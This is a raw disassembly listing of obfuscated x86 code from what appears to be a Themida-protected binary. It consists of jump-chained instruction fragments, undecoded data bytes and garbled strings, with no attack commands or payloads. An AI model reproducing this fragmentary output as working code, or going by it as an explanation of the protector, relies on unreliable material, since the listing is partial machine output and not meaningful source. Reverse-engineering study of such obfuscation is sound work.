; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FF3B69E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560245:				; CODE XREF: Themida_:0055570Bj
		pop	ebx
		mov	ecx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55F274
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0ED810000h, 234C14EEh, 0C581F501h, 234C14EEh
		dd 8324348Bh, 0ED8304C4h, 74FF5504h, 8F5D0424h,	5BE92404h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560287:				; CODE XREF: Themida_:0056415Bj
		mov	ecx, 78CE4135h
		jmp	loc_562D6B
; ---------------------------------------------------------------------------

loc_560291:				; CODE XREF: Themida_:005559E5j
		mov	eax, [esp]
		push	edi
		jmp	loc_563EC5
; ---------------------------------------------------------------------------

loc_56029A:				; CODE XREF: Themida_:00566865j
		pop	esi
		jmp	loc_557E57
; ---------------------------------------------------------------------------
		dd 1C41BF57h, 0E7810839h, 594E6B55h, 1A24EF81h,	94E90A75h
		dd 52FFFFA2h, 0BE56E289h, 4, 0FFB0A3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5602C5:				; CODE XREF: Themida_:005560FDj
		pop	esi
		jmp	loc_5518C0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4BD5500h, 29000000h, 34335DEEh, 24343124h, 0FF35AAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5602E5:				; CODE XREF: Themida_:00558C21j
		add	ebp, esi
		jmp	loc_552DB8
; ---------------------------------------------------------------------------
		dd 2424305Ch, 0E9242432h, 0FFFF3299h
; ---------------------------------------------------------------------------

loc_5602F8:				; CODE XREF: Themida_:0055CE0Cj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_551859
; ---------------------------------------------------------------------------

loc_560305:				; CODE XREF: Themida_:00563CF1j
		mov	ch, 0E4h
		xor	ch, 0DFh
		and	dl, ch
		pop	ecx
		push	ecx
		mov	cl, 0E3h
		jmp	loc_56569A
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 5024048Fh,	0CC66853h, 515B14A3h, 74F06853h
		dd 815B0F66h, 54536AF3h, 5BD98959h, 6859CB01h, 2984h, 52243C89h
		dd 0C281E289h, 4, 3304EA83h, 14312414h,	0F424E924h, 0BFB1FFFFh
		dd 6DE9C800h, 81FFFFD1h, 4C4h, 117DE900h, 5559FFFFh, 0D899E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560376:				; CODE XREF: Themida_:00566CD6j
		mov	[esp], ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_55E9D8
; ---------------------------------------------------------------------------

loc_560384:				; CODE XREF: Themida_:005605B4j
		pop	esi
		push	ecx
		push	esi
		mov	esi, 30891E76h
		add	esi, 73690750h
		neg	esi
		jmp	loc_555436
; ---------------------------------------------------------------------------

loc_560399:				; CODE XREF: Themida_:0055E13Aj
		pop	ebp
		sub	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	9FEh
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_565A6B
; ---------------------------------------------------------------------------
		dd offset dword_4F9044+224h
		dw 8900h
		dd 48B242Ch, 4C48124h, 89000000h, 4C60E9C3h, 0F281FFFFh
		dd 5FDC0141h, 0A8B8504Ah, 564DF4Eh, 10241464h, 0A05A3E05h
		dd 0EE94015h, 8B00000Ch, 0F662424h, 9C2404BBh, 0FF10E2E9h
		dd 0DBBF57FFh, 2929BA0Bh, 243C8BFAh, 4C481h, 0EA810000h
		dd 4F192E22h, 0D1E9FA01h, 68FFFF85h, 14164D8Dh,	89BB535Ah
		dd 2914164Dh, 53505BDAh, 0D889D389h, 29EE685Bh,	0BFE90000h
		dd 5FFFFFA3h, 55FF829h,	554E7580h, 6855C829h, 574C218Dh
		dd 0C4E9535Dh
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56045F:				; CODE XREF: Themida_:0055D5A1j
		add	eax, edi
		pop	edi
		push	esi
		mov	esi, 3EBF67E1h
		jmp	loc_551D0F
; ---------------------------------------------------------------------------
		db 0BAh, 0C0h, 41h
		dd 0EAD14678h, 2C3B850h, 0C2094D83h, 7F28158h, 0E91BDB68h
		dd 650Ch, 80EAEC80h, 0E60052EEh, 0FFCE8BE9h, 8EBC0FFh
		dd 8005E3C0h, 0D80050EBh, 5554E9h
		db 0
; ---------------------------------------------------------------------------

loc_5604A5:				; CODE XREF: Themida_:0056233Fj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56409B
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 4C381h, 0EB830000h, 241C8704h, 0E526E95Ch
		dd 0E95DFFFFh, 0FFFF5437h, 4C481h, 2C330000h, 0FD29E924h
		dd 0F75BFFFFh, 7E8C1D8h, 42683125h, 0BE564804h,	71EA1399h
		dd 0FF2678E9h, 0E9815AFFh, 37002F7Ah, 31AFE981h, 0CE013793h
		dd 7BE94659h, 0FFFF1Ah,	0F8F6E9C1h, 8F5AFFFFh, 248B2404h
		dd 24148924h, 0FF0FBEE9h
		db 0FFh
byte_56052D	db 66h,	68h, 0F0h	; DATA XREF: Themida_:00551344o
		dd 6BB66802h, 3C890000h, 53E78924h, 4BBh, 0E9DF0100h, 0FFFFC10Ah
; ---------------------------------------------------------------------------

loc_560548:				; CODE XREF: Themida_:00554815j
		push	488Eh
		jmp	loc_55255C
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4, 5C241C87h, 89240489h, 0BA5251E0h,	65FF15E3h, 0C244F5B9h
		dd 0E9D129D5h, 0FFFFE7DEh, 504C483h, 10405230h,	302DD829h
		dd 0FF104052h, 815B2434h, 4C4h,	5CBC2D00h, 0D8296C58h
		dd 0BDFBB53h, 0F381198Bh, 75D35763h, 1C8BD801h,	4C48324h
		dd 2C87E9h
		db 0
; ---------------------------------------------------------------------------

loc_5605AD:				; CODE XREF: Themida_:00564437j
		add	eax, esi
		add	eax, 2C80158h
		jmp	loc_560384
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 29000000h, 1C8758C3h, 18FCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5605CA:				; CODE XREF: Themida_:005600CAj
		push	edi
		push	ebx
		mov	ebx, 7CAD73C9h
		mov	edi, 3F473C18h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		not	edi
		add	edi, 43EA4FD6h
		add	edx, edi
		pop	edi
		jmp	loc_55C8ED
; ---------------------------------------------------------------------------

loc_5605F1:				; CODE XREF: Themida_:00551F50j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_565ABA
; ---------------------------------------------------------------------------
		dd 8059CB28h, 0D8E924C3h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560607:				; CODE XREF: Themida_:0055432Aj
		or	eax, eax
		jz	loc_55BB16
		push	dword ptr [edi+1Ch]
		jmp	loc_559D67
; ---------------------------------------------------------------------------
		db 0FFh
		dd 525A2434h, 0BF1E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560622:				; CODE XREF: Themida_:00558F90j
		pop	ecx
		push	eax
		pop	ebp
		mov	eax, [esp]
		jmp	loc_557B03
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0C4h
		dd 0E9362E07h, 0FFFF628Bh, 240C8966h, 0FF86B5E9h, 0CFC381FFh
		dd 296FB263h, 86E8E9EBh, 98E9FFFFh, 89FFFF0Eh, 5E542434h
		dd 4C681h, 3680000h, 89000027h,	2BF243Ch, 81000000h, 900421EEh
		dd 4ABB533Fh, 295BED18h, 0EFE95BDEh, 8FFFFFDFh,	0B2E98704h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560687:				; CODE XREF: Themida_:0055B149j
		add	edi, 47E82D70h
		jmp	loc_566DB3
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 3F0CE904h, 0C870000h, 24248B24h, 2896664h, 0FF0E42E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5606A9:				; CODE XREF: Themida_:0056340Aj
		xor	ecx, 0F0703E99h
		add	edx, ecx
		pop	ecx
		jmp	loc_5514FE
; ---------------------------------------------------------------------------
		db 81h
		dd 0C10BF9EBh, 81FB2943h, 0C10BF9C3h, 0EB815F43h, 0F9ECC1F0h
		dd 4BA1BF57h, 0FE294577h, 3A2DE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5606DA:				; CODE XREF: Themida_:0055C410j
		pop	edx
		push	eax
		mov	eax, 1
		jmp	loc_553D33
; ---------------------------------------------------------------------------
		dw 5058h
		dd 4E5E5856h, 627BE996h, 88B2FFFFh, 0FF17D6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5606F9:				; CODE XREF: Themida_:005580AAj
		mov	ebx, 1EBF2523h
		shr	ebx, 6
		sub	ebx, 5D675F24h
		add	ebx, 0CB7E7389h
		xor	esi, ebx
		pop	ebx
		push	esi
		add	dword ptr [esp], 136C1736h
		jmp	loc_55336D
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 0FF3C3CE9h, 685358FFh, 4721053Fh, 0FF2D32E9h, 243C8BFFh
		dd 8104C483h, 2C1h, 240C8700h, 3824248Bh, 96E99CC1h, 81FFFF48h
		dd 8714F8F2h, 5AD03170h, 48BC301h, 5866E924h, 0EB81FFFFh
		dd 0C018BBC9h, 34FFD909h, 23A8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56076E:				; CODE XREF: Themida_:0055DE05j
		mov	esp, [esp]
		push	eax
		push	esi
		jmp	loc_553A55
; ---------------------------------------------------------------------------

loc_560778:				; CODE XREF: Themida_:00556EB3j
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 4BD71657h
		jmp	loc_564DC9
; ---------------------------------------------------------------------------
		dd 3C9DBD55h, 46E97504h, 33000014h, 248B243Ch, 37546824h
		dd 4890000h, 4B91E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5607AA:				; CODE XREF: Themida_:00560CF6j
		mov	dl, 5
		add	dl, 0FFh
		jmp	loc_563CED
; ---------------------------------------------------------------------------

loc_5607B4:				; CODE XREF: Themida_:00556BB4j
		pop	esi
		jmp	loc_55A27E
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 0BFEA801Dh, 148BD700h, 4C48124h, 68000000h, 232Fh, 0E9241489h
		dd 4FF7h, 4C481h, 0E9500000h, 1CB5h, 0D3F6EAB3h, 0F380C3FEh
		dd 19CB8083h, 8859F380h, 0F3E95BD8h, 8BFFFF23h,	0C483241Ch
		dd 90685104h, 8900004Eh, 0E959242Ch, 0FFFF48E3h
; ---------------------------------------------------------------------------

loc_560810:				; CODE XREF: Themida_:00554BECj
		dec	ecx
		jmp	loc_55986F
; ---------------------------------------------------------------------------
		dw 0C80Fh
		dd 740268h, 24048900h, 0FFBBCEE9h, 4E1C1FFh, 6794BA52h
		dd 0EA814788h, 172B63A5h, 30CA814Ah, 0C167E954h, 0F28103EAh
		dd 0C114888Bh, 15AD101h, 240C8BCAh, 81E68956h, 4C6h, 4C68100h
		dd 0E9000000h, 0FFFF8DBCh, 23B4EE81h, 0F70967CAh, 0C795E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56086E:				; CODE XREF: Themida_:005523A6j
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55C436
; ---------------------------------------------------------------------------
		db 83h
		dd 0C48104C4h, 4, 0FFE9F6E9h, 2434FFFFh, 0FF3B55E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560895:				; CODE XREF: Themida_:005647B4j
		mov	edi, edx
		pop	edx
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_55E418
; ---------------------------------------------------------------------------
word_5608A2	dw 8B66h		; DATA XREF: Themida_:00551498o
		dd 87682404h, 89000022h, 0F8E9242Ch, 5AFFFF21h,	0DD35ED81h
		dd 0EE8982DAh, 5EF7015Dh, 4247C01h, 0EC81595Fh,	4, 0E9240489h
		dd 0FFFF88C7h, 0D1E909B6h, 81FFFFAAh, 79D7CFEEh, 8BF231D3h
		dd 67E92434h, 1000061h,	0E7E959CAh, 1FFFF52h, 2434FFC7h
		dd 6397E9h
		db 0
; ---------------------------------------------------------------------------

loc_5608FD:				; CODE XREF: Themida_:00557153j
		mov	ah, 86h
		jmp	loc_552E93
; ---------------------------------------------------------------------------
		dd 8124048Fh, 4ECh, 24048900h, 4B8h, 246C8100h,	6C497C04h
		dd 45C3E925h, 504DFFFFh, 677705B8h, 58C529A4h, 0D8E9EF89h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560933:				; CODE XREF: Themida_:00564CB9j
		add	esp, 4
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, eax
		push	4881h
		jmp	loc_5599D7
; ---------------------------------------------------------------------------

loc_56094C:				; CODE XREF: Themida_:00564A02j
		add	[esp+4], ebp
		pop	ebp
		pop	ebx
		sub	ebx, 7CF2543Ah
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 58F50DDh
		dec	ebp
		sub	ebp, 0C78BE527h
		and	ebx, ebp
		jmp	loc_55A926
; ---------------------------------------------------------------------------

loc_56097D:				; CODE XREF: Themida_:00561D7Dj
		push	ebx
		mov	bl, 6Dh
		add	bl, 0E6h
		push	edx
		jmp	loc_556711
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 9130E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560992:				; CODE XREF: Themida_:0056409Cj
		mov	edi, 4EE569EEh
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	2880h
		mov	[esp], ebp
		jmp	loc_55F0B3
; ---------------------------------------------------------------------------
aSas		db 'пИ─Им',0
		dw 0E9C8h
		dd 0FFFFD9E2h
; ---------------------------------------------------------------------------

loc_5609B8:				; CODE XREF: Themida_:00566737j
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_560BB5
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 88B25224h,	0E913EA80h, 4737h
; ---------------------------------------------------------------------------

loc_5609D4:				; CODE XREF: Themida_:005598E9j
		push	7201h
		jmp	loc_55E763
; ---------------------------------------------------------------------------

loc_5609DE:				; CODE XREF: Themida_:0055739Bj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2C500AEDh
		jmp	loc_5640E4
; ---------------------------------------------------------------------------
byte_5609F1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00551254o
aXhN		db 'Xh',1Bh,'n',0
		align 2
		dw 2C89h
		dd 4EC8124h, 0E9000000h, 0FFFF17B4h, 0BEE9D029h, 83FFFF1Eh
		dd 8FE904C4h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560A17:				; CODE XREF: Themida_:0056003Bj
		mov	ecx, [esp]
		jmp	loc_55387D
; ---------------------------------------------------------------------------

loc_560A1F:				; CODE XREF: Themida_:005618E3j
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_556BE5
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2414h, 242C8924h, 69B96851h, 76E95BF5h, 81FFFF0Eh
		dd 2D7D1DC5h, 51DDF717h, 0E78ABA52h, 84E9C80Bh
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560A53:				; CODE XREF: Themida_:00551D82j
		sub	eax, 6256E47Ch
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	esi, eax
		pop	eax
		xor	eax, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55EDFF
; ---------------------------------------------------------------------------

loc_560A6F:				; CODE XREF: Themida_:00562175j
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		push	5723h
		mov	[esp], ecx
		mov	ecx, ebp
		mov	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5562E5
; ---------------------------------------------------------------------------
byte_560A8F	db 66h			; DATA XREF: Themida_:00551324o
		dd 0E9240C8Bh, 3BC7h, 5F63E281h, 0EAC139A6h, 34EA8107h
		dd 100004Ch, 0EC815AD3h, 4, 0E9240C89h,	0FFFF7F33h, 26DDBD55h
		dd 6C0105BBh, 585D0424h, 0BB26DD2Dh, 0C7015F05h, 0C2BD5558h
		dd 810F302Ah, 0E6673BF5h, 11CBE94Fh, 0D5080000h, 0FF3B6AE9h
		dd 58BE56FFh, 0F71C244Fh, 5E6C1D6h, 0FFB876E9h,	81FA01FFh
		dd 0FE562DEAh, 62E95F4Dh, 50000034h, 0E7887CB4h, 1EF8058h
		dd 8007E7C0h, 0C730B3C7h, 1268E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560B1A:				; CODE XREF: Themida_:0055B688j
		add	al, bl
		add	al, 0A9h
		push	dx
		jmp	loc_55B888
; ---------------------------------------------------------------------------
		db 0E9h, 0C1h, 9
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560B2A:				; CODE XREF: Themida_:00566188j
		pop	ebp
		jmp	loc_55246A
; ---------------------------------------------------------------------------
		dd 5C243C87h, 0FF93F3E9h, 3FE958FFh
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560B3F:				; CODE XREF: Themida_:0056189Aj
		add	esp, 4
		or	ebp, 34AE6B0Bh
		not	ebp
		shl	ebp, 1
		sub	ebp, 0E812948h
		push	eax
		jmp	loc_564D75
; ---------------------------------------------------------------------------
		db 1
		dd 0EA815FFAh, 4, 2474FF52h, 48F5A04h, 2C895C24h, 7A526824h
		dd 4CE90000h, 9FFFF55h,	0BD555BD9h, 5A33103Eh, 0FF55DEE9h
		dd 84CB1FFh, 2A6BE9CAh,	0F181FFFFh, 1FD0E7Ch, 8759CF01h
		dd 0C05C243Ch, 0F18003E9h, 59C830D8h, 0FE0BB252h, 0D5CA80C2h
		dd 45F4E9h
		db 0
; ---------------------------------------------------------------------------

loc_560BB5:				; CODE XREF: Themida_:005609BEj
		mov	ebp, esi
		jmp	loc_5616C6
; ---------------------------------------------------------------------------

loc_560BBC:				; CODE XREF: Themida_:005621ECj
		add	edi, 51DF7542h
		pop	ebx
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_562834
; ---------------------------------------------------------------------------

loc_560BD0:				; CODE XREF: Themida_:0055A48Aj
		push	ebx
		jmp	loc_554981
; ---------------------------------------------------------------------------

loc_560BD6:				; CODE XREF: Themida_:00565DDCj
		xor	eax, ecx
		jmp	loc_56270C
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 75h
		dd 5FD2A2Eh, 41411E28h,	0FF8539E9h, 27BD55FFh, 0E9B0E6CEh
		dd 476Dh, 328EE981h, 835B1DAEh,	0B16804E9h, 8900002Ah
		dd 74FF240Ch, 34FF0424h, 2434FF24h, 4C48359h, 8904EC83h
		dd 5E542434h, 1E98E9h
		db 0
; ---------------------------------------------------------------------------

loc_560C25:				; CODE XREF: Themida_:0055C78Fj
		add	edi, ebp
		pop	ebp
		jmp	loc_55A5D1
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 43h
		dd 1204447h, 0C3835EF3h, 241C8704h, 24048F5Ch, 4355E9h
		db 0
; ---------------------------------------------------------------------------

loc_560C45:				; CODE XREF: Themida_:0055F7ACj
		add	dword ptr [esp], 4
		pop	edx
		push	ebp
		mov	ebp, 4
		sub	edx, 52306AF4h
		add	edx, ebp
		add	edx, 52306AF4h
		pop	ebp
		add	edx, 4
		jmp	loc_5633A2
; ---------------------------------------------------------------------------
		dw 0A2BAh
		dd 316AEF55h, 24148BD5h, 2AB5E9h, 0E9E88900h, 0FFFF780Ah
		dd 5C243C87h, 53240C89h, 0C3B75350h, 88FA8852h,	885B5AD0h
		dd 0E7C058C7h, 0C0CFFE07h, 506605EFh, 0E72044B4h, 0F7805866h
		dd 8BFD881Ch, 0C483241Ch, 48546804h, 0EFE90000h, 81FFFFBCh
		dd 1C7h, 0C1C78100h, 31FE556Ch,	0F7505FF8h, 50582414h
		dd 33240C31h, 0C31240Ch, 87D1F724h, 0C158240Ch,	0B95108E8h
		dd 269422C8h, 0FF191AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560CED:				; CODE XREF: Themida_:0055DC7Dj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5607AA
; ---------------------------------------------------------------------------
		db 89h
		dd 1AE92404h, 3300003Ah, 0C31240Ch, 0B7FAE924h,	1C33FFFFh
		dd 24D35C24h, 0D0E99C24h, 5DFFFF07h, 3CFBED81h,	0C8B3134h
		dd 4C48324h, 0FF48DDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560D2D:				; CODE XREF: Themida_:0055E453j
		or	eax, eax
		jmp	loc_556B06
; ---------------------------------------------------------------------------

loc_560D34:				; CODE XREF: Themida_:00556E4Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 0FDA1DBCEh
		jmp	loc_564DB8
; ---------------------------------------------------------------------------

loc_560D54:				; CODE XREF: Themida_:00557F19j
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		jmp	loc_565959
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5E0424h, 895C2404h, 74E9240Ch, 2DFFFF07h, 700D5AAAh
		dd 0C30392Dh, 242C8B12h, 0E904C483h, 0FFFFDAC1h, 242C335Bh
		dd 33242C31h, 0A8E9242Ch
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560D9B:				; CODE XREF: Themida_:00556050j
		add	ebx, 7905374Ch
		jmp	loc_55F34F
; ---------------------------------------------------------------------------
		dw 0DA87h
		dd 0BEE8E95Bh, 2D66FFFFh, 665B6C59h, 6609D205h,	8DB96651h
		dd 0C8016666h, 5665966h, 8B667AE1h, 59E92434h, 31FFFFBCh
		dd 14332414h, 24248B24h, 0FF070EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560DDD:				; CODE XREF: Themida_:00566296j
		shl	edi, 4
		xor	edi, 0F16B5014h
		mov	ebp, edi
		pop	edi
		xor	eax, ebp
		mov	ebp, [esp]
		jmp	loc_55E06D
; ---------------------------------------------------------------------------
		db 89h
		dd 7ABA2414h, 0E932F06Ah, 2BD0h, 0F000BDB6h, 0FFEDD7E9h
		dd 0ADC181FFh, 1334D27h, 0ADE981C1h, 8B334D27h,	0C4832404h
		dd 3E97E904h, 0C981FFFFh, 738E2A14h, 0E9FFC183h, 4141h
; ---------------------------------------------------------------------------

loc_560E30:				; CODE XREF: Themida_:00563A4Cj
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_564CDA
; ---------------------------------------------------------------------------
		db 0BAh
		dd 193B51C1h, 0FFD547E9h, 96C981FFh, 811B5D11h,	0B77D42E9h
		dd 90C18138h, 0E91D39EBh, 0FFFF77F3h, 54243489h, 0BD55525Eh
		dd 2F876D3Bh, 0E3ED8145h, 4D1A152Bh, 2ED8ED81h,	49681008h
		dd 0E900006Ah, 0FFFF531Bh
; ---------------------------------------------------------------------------

loc_560E98:				; CODE XREF: Themida_:005517A6j
		mov	[esp], ebx
		push	edx
		mov	edx, 2D7F0F7Bh
		jmp	loc_55FE01
; ---------------------------------------------------------------------------

loc_560EA6:				; CODE XREF: Themida_:00553FF9j
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_555D4B
; ---------------------------------------------------------------------------

loc_560EBC:				; CODE XREF: Themida_:00552B6Cj
		sub	esp, 4
		jmp	loc_55BC66
; ---------------------------------------------------------------------------

loc_560EC4:				; CODE XREF: Themida_:00552218j
		mov	eax, [esp]
		jmp	loc_55B001
; ---------------------------------------------------------------------------
		dd 8155F529h, 3984242Ch, 815E3DBEh, 0BE3984C6h,	0FCE95D3Dh
		dd 81000041h, 80413DEEh, 22E956A9h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560EEF:				; CODE XREF: Themida_:00557C00j
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_55E9AE
; ---------------------------------------------------------------------------
		dd 0E9FC2059h, 0FFFF43BBh, 4EC81h, 8F540000h, 59E92404h
		dd 87000054h, 0A3E92414h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560F1B:				; CODE XREF: Themida_:00564DA0j
		add	esp, 4
		push	eax
		mov	eax, 45E038B3h
		jmp	loc_559E3B
; ---------------------------------------------------------------------------

loc_560F2C:				; CODE XREF: Themida_:0055DF4Bj
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		db 0C3h
byte_560F31	db 66h,	8Bh, 4		; DATA XREF: Themida_:00551208o
		db '$h}%',0
		align 2
		dw 489h
aTxhma		db '$TXh╛A',0
		align 4
		dd 0BE243489h, 4, 0B97DA705h, 2DF00151h, 51B97DA7h, 0FF17BAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560F5D:				; CODE XREF: Themida_:0056514Aj
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_564E4A
; ---------------------------------------------------------------------------

loc_560F70:				; CODE XREF: Themida_:0055514Dj
		push	ebx
		jmp	loc_551C21
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 4C6815Ah, 87000000h,	248B2434h, 0C02D24h, 0AE97FF6h
		db 7, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_560F8F:				; CODE XREF: Themida_:0055CCC7j
		pop	eax
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554726
; ---------------------------------------------------------------------------

loc_560F9C:				; CODE XREF: Themida_:0055F3D6j
		xor	ebx, [edi+24h]
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		xor	[ecx], ebx
		pop	ecx
		sub	ebx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 24h
		add	eax, 33326282h
		add	eax, edi
		jmp	loc_5528EF
; ---------------------------------------------------------------------------

loc_560FC7:				; CODE XREF: Themida_:0055625Aj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5521E0
; ---------------------------------------------------------------------------

loc_560FD0:				; CODE XREF: Themida_:00559239j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5618D8
; ---------------------------------------------------------------------------
		dd 8102E2C1h, 0BA6AF2EAh, 81DAF75Ch, 0BA02CDE2h, 0B8BEE931h
		dd 0BA52FFFFh, 3CB44BCDh, 0F281DAF7h, 8041F5F2h, 535AD629h
		dd 5473E9h, 732D4800h, 21865694h, 0BF5758C2h, 1, 0CCE9FA01h
		dd 6800000Ah, 2E45h, 56240489h,	1368E9h, 4C08300h, 0E9240487h
		dd 578h
; ---------------------------------------------------------------------------

loc_561038:				; CODE XREF: Themida_:0055F074j
		mov	edx, 997F84h
		mov	ebx, 0AAC3B25h
		xor	ebx, 636AF325h
		add	ebx, edx
		pop	edx
		jmp	loc_552CC2
; ---------------------------------------------------------------------------
		dd 38F7BA52h, 0C2817077h, 0F8E6E329h, 7EE9D689h, 87FFFF46h
		dd 0AA26E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56106A:				; CODE XREF: Themida_:0055F0BBj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		push	21ABh
		mov	[esp], edi
		jmp	loc_5557EF
; ---------------------------------------------------------------------------
		dd 2D85EB81h, 0CB012CCAh, 2D85C381h, 21E92CCAh,	40FFFFA6h
		dd 0E7F8772Dh, 4B05E997h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5610A2:				; CODE XREF: Themida_:0055942Aj
		add	ebx, ebp
		pop	ebp
		mov	ecx, [esp]
		jmp	loc_55412D
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
		dd 0C7885324h, 88F88850h, 1CE958C6h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5610BF:				; CODE XREF: Themida_:0056357Cj
		push	4
		push	dword ptr [esp]
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_564D7C
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 36020731h, 649AE957h, 0E829FFFFh, 2E8F685Dh,	3C890000h
		dd 1CE76824h, 815F62AFh, 444DCAC7h, 91C78129h, 0E9670900h
		dd 2CF0h, 4EC81h, 0FEE90000h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561117:				; CODE XREF: Themida_:0055DB3Aj
		mov	edx, 2F5F16F8h
		and	edx, 72031C86h
		xor	edx, 3C7C1FE6h
		jmp	loc_556741
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C481h, 8E350000h, 251ABC37h, 7F402524h, 516668h, 24148900h
